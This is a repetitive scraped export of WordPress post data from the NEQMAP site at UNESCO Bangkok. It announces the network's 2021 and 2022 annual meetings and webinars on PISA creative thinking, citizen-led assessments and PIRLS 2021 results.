The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To 